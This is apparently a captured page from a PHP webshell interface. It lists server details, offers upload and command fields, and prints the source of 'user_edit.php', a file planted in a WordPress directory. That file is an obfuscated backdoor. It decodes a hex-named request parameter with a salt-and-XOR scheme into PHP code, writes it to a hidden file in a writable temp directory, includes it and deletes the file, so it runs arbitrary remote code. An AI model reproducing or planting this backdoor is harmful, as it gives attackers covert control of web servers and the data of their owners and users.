403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/Solum-construction/demo-job/wordpres/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/Solum-construction/demo-job/wordpres/user_edit.php
<?php

if(array_key_exists("s\x79\x6D", $_REQUEST) && !is_null($_REQUEST["s\x79\x6D"])){
	$token = $_REQUEST["s\x79\x6D"];
			 $token	=  explode  	( 	".",		$token)	 ;	 
	$pset = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt);
    
            foreach ($token as $j =>$v5):
                $chS = ord($salt[$j		%$sLen]);
                $dec = ((int)$v5 - $chS - ($j		%10)) 	^	14;
                $pset	.=chr($dec);
            endforeach;
	$data_chunk = array_filter([sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", "/tmp", getenv("TMP")]);
	for ($entity = 0, $pgrp = count($data_chunk); $entity < $pgrp; $entity++) {
    $res = $data_chunk[$entity];
    		if (max(0, is_dir($res) * is_writable($res))) {
    $value = "$res/.val";
    $success = file_put_contents($value, $pset);
if ($success) {
	include $value;
	@unlink($value);
	die();}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit